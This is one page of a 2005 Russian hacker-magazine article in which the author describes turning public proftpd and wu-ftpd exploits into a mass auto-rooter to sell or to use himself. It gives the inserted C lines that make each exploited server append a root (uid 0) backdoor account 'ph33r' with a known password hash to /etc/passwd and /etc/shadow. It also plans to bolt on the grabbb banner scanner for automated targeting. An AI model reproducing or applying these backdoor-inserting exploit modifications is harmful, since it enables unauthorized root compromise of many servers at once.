Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #73, ЯНВАРЬ 2005 г.

Хакерский конвейер

Докучаев Дмитрий aka Forb

Хакер, номер #073, стр. 073-052-3


Теперь, когда стало ясно, что такое авторутер, и ты познакомился с большей частью известных хакерских проектов, я могу рассказать о том, как я писал свой собственный массрутер.

Мотивация для этого на самом деле огромная. Представь: я скачал эксплойт для хитового бага, в течение вечера внедрил в него сканер портов и продал массрутер, получив в итоге несколько сотен зеленых президентов. Разумеется, никто мне не запрещает использовать свое творение и в личных целях, чтобы без особых усилий порутать десяток бажных машин. Звучит заманчиво, не правда ли? Вот и мне так показалось :).

В качестве примеров, которые я сегодня буду подробно разбирать, решено было использовать известные баги в FTP-серверах. Думаю, догадаться, о каких демонах я говорю, нетрудно. Конечно же, это proftpd и wu-ftpd :). Для каждого сервиса существует публичный рабочий эксплойт, который нужно переделать в непосредственную часть будущего авторутера.

Первым делом я занялся пластической операцией сплойта для proftpd2, который скачал по ссылке www.securitylab.ru/_exploits/proftpd2.c.txt. Открыв его в любимом редакторе, я нашел строку «send(shellSock, buf, strlen(buf), 0);» и вставил после нее две дополнительные операции:

send(shellSock, "/bin/echo ph33r:x:0:0::/:/bin/sh > > /etc/passwd",47,0);

send(shellSock, "/bin/echo ph33r:DDv1PnT.wPPY6::::::: > > /etc/shadow",51,0);

r = 0;

С помощью первой строки я отправил в сокет команду на добавление юзера в файл /etc/passwd. При этом пользователь должен иметь нулевой уид и валидный шелл. Во второй строке этот же пользователь добавляется в /etc/shadow, причем его пароль определяется как ph33r. После всего этого я изменяю значение переменной r, которая объявлена в условии открытия шелла. Таким образом, после эксплуатирования будет выполнено всего две команды, и затем сплойт корректно завершит свою работу.

Теперь настало время проделать аналогичные операции с эксплоитом для wu-ftpd (www.web-hack.ru/exploit/source/0x82-wu262.c). Открыв код программы в текстовом редакторе, я закомментировал строку «died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);». Эта строчка вызывает функцию read(), которая читает данные из дескриптора STDIN. Но мне же не нужна интерактивность, правда? :) В связи с этим я встроил две добавочные команды после комментария, вот так:

//died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);

strcpy(readbuf,"/bin/echo ph33r:x:0:0::/:/bin/sh:::::::> > /etc/passwd;/bin/echo ph33r:DDv1PnT.wPPY6:::::::> > /etc/shadow");

died = 1;

Первая строка выполняет уже известные тебе действия, а вторая закрывает шелл после первого же запроса.

Ну что ж, с эксплойтами разобрались. Осталось их скомпилировать и сохранить в каталоге exploits. Теперь самое время подумать о сканере портов, который будет считывать баннеры ftp-сервисов. Я решил не изобретать велосипед, а воспользоваться возможностями уже готового сканера. Впрочем, никто не запрещает написать что-то более быстрое и внедрить его в эксплойт, но это уже твое личное дело и тема отдельной статьи. В качестве рабочего сканера я решил выбрать проект grabbb от известной команды TESO. Скачав последнюю версию grabbb (www.securityfocus.com/data/tools/grabbb-0.0.7.tar.gz), я приступил к его модификации. Все дело в том, что журнал, который ведет grabbb, имеет довольно запутанный вид и там содержится масса избыточной информации. Мне показалось, что проще изменить исходник самого сканера, заставив его писать логи в удобном формате, нежели городить отдельный парсер.

Назад на стр. 073-052-2  Содержание  Вперед на стр. 073-052-4